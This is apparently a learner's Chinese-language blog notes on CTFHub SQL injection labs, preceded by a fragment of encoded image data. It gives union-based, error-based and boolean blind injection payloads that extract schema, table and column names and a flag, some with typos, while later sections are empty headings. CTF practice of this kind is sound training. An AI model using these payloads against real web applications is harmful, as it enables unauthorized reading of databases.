d0Mh0qQgghhBBCCHELisdiTMRus2O12biSSCzCtVh0Ty5TZbfZ+d0/vcTG2lqmy4QQQgghhBBC3IKsNhsZ8VgMw1ObnuSRVS40s85k7DY7NU/U0BM6jr+jk6mKDwxysO11puKpTU+yek05hnAozHSZEEIIIYQQQogZLr/wPsZKpBQ0s861iMdijGXNyca6phzQmYyrYi2P/2QjmlmnJ3ScqXrt4AH27nmRqXpklQvQ2dfcjL+jk+kyIYQQQgghhBAzXF/4QwyJlMJLv92H4fGfbEQz61wtq83G1XIULUYz64zVF/6QK3l2y7OMZbfZWVP1KJOJDwzi7+gkw26zM1UmhBBCCCGEEGKG6gt/iCESi7CvuZm+8IdEYhHsNjtarc61iMdiXA994Q8x1DxRw1Q9telJVq8pZzrsNjtrqh5l9ZpypsqEEEIIIYQQQsxQ+YX3EYlFMPg7OrmerDYbV2toaJCMmidqsNpsWHOymYyrYi1udyXWnGym4q+nBzC4KtbidldizclmOkwIIYQQQgghxAzldldi8Hd0kmG32al5oobJuCrWcuddOYDOROKxGAa7zY7VZmM65s/PJqOwqJDLicdiGOw2OzVP1FBYVMhkhoYGMdhtdgzWnGw21tZyNZShM5/oCCGEEEIIIcQMFg6F6QkdZ9E9uaxeU86VhENhDIVFhVxJfGCQD3rDrF5TzlTEBwbx+dpxuyux5mQzFfGBQT7oDbN6TTlTFQ6F6Qkdx+2uxJqTzbVQhs58oiOEEEIIIYQQYtZREUIIIYQQQggxK6kIIYQQQgghhJiVVIQQQgghhBBCzEoqQgghhBBCCCFmJRUhhBBCCCGEELOSihBCCCGEEEKIWUlFCCGEEEIIIcSspCKEEEIIIYQQYlZSEUIIIYQQQggxK/3/LDjt5wOJvDkAAAAASUVORK5CYII=)

-1 union select 1,group_concat(schema_name) from informations_schema.schemata

查询所有数据库名称
图片

1
2
3
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
查当前数据第一个表名,之后依次增加 limit 查询剩余表名

图片

或者一次性查询所有表名

1
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' 

图片

1
2
查询flag
-1 union select 1,group_concat(flag) from sqli.flag

图片

得到flag

///图是从ctfhub提供的wp里扣的(因为忘截图了,不想再花金币开

这个跟后面的比起来要短还能勉强看懂,,,,(只会用的程度///换个题就不会用了(大概率)

为什么为什么为什么要这样

为什么这么输可以出这种结果

显示结果的含义是什么

目前纯靠猜,,,

QWQ

每句话的含义是什么????

以后慢慢注释补充

2.字符型注入

[字符型注入]—ctfhub

手工(sqlmap待补充)

///下面出现的123可替换成任意数据库中不存在的用户名

输入1输出正常,回显ID,Data

图片

联合查询得到数据库

1
123' union select database(),2 #

图片

查表 得到表名

1
123' union select group_concat(table_name),3 from information_schema.tables where table_schema='sqli' #

图片

查字段名 得到字段名

1
123' union select group_concat(column_name) ,3 from information_schema.columns where table_name='flag' #

图片

查flag

1
123' union select flag,3 from sqli.flag #

图片

得到flag

3.报错注入

[报错注入]—ctfhub

手工(sqlmap待补充)

查表名->报错->说明数据库下有多个表->用limit依次查找

1
?id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

查询错误: Subquery returns more than 1 row
图片

1
?id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)

第二个表flag存有flag,这里拼接了一个1作为查询语句,因此要忽略
查询错误: Every derived table must have its own alias

查列名

1
?id=1 and(select 1 from(select count(*),concat((select column_name from information_schema.columns where table_name="flag"),floor(rand(0)*2))x from information_schema.tables group by x)a)

查询错误: Duplicate entry ‘flag1’ for key ‘group_key’
图片

第二个表flag的列flag存有flag

查值

1
2
3
?id=1 and(select 1 from(select count(*),concat((select flag from flag),floor(rand(0)*2))x from information_schema.tables group by x)a)
查询错误: Duplicate entry 'ctfhub{8a213fb30ca8bc66650b5a93}1' for key 'group_key'

图片

拿到flag

///这个解法为什么跟上面两个都不一样啊qwq,前面的都是直接输在框里,这个是用get(?是这个吧,之前做的get题也是要这样搞)

4.布尔盲注

[布尔盲注]—-ctfhub

sqlmap(手工待补充)

布尔盲注只返回成功与否

因手工盲注十分费力,改用sqlmap,

///但是sqlmap不会用qwq,我要哭哭惹

,,,上面那些是啥啊,,,说实话完全看不懂

只能说是整理了一下巨巨们的wp

sql注入是寄吧啥啊,神经病

先码一下步骤

1
2
3
4
1.猜数据库名长度:   x是某个值,用>x或<x也可
’ and length (database())=x--+
2.猜数据库名(任何系统函数可以知道的内容,例如Mysql、操作系统版本号等):
’ and left(database(),1)=’s’--+

3.获取数据库下的表:

1
2
3
4
5
' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101--+
4.获取表里的列名:
' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+
5.获取表里列的内容:x是错误返回值,只要不要给对的值,加啥都可
' and ord(mid((select ifnull(cast(username as char),x)from security.users order by id limit 0,1),1,1))=68--+

///盲注如果用手工需要太长时间了,,也可以用py写脚本,但那是另外一回事了

5.时间盲注

无任何返回值,需要通过页面恢复响应时间判断

[时间盲注]—-ctfhub

6.无列名注入

7.空格过滤型

8.各种过滤型的绕过

///先到这里吧

深刻体会到什么叫大跃进式学习了

最近一直在赶路,,,好累

晚安zzZZZ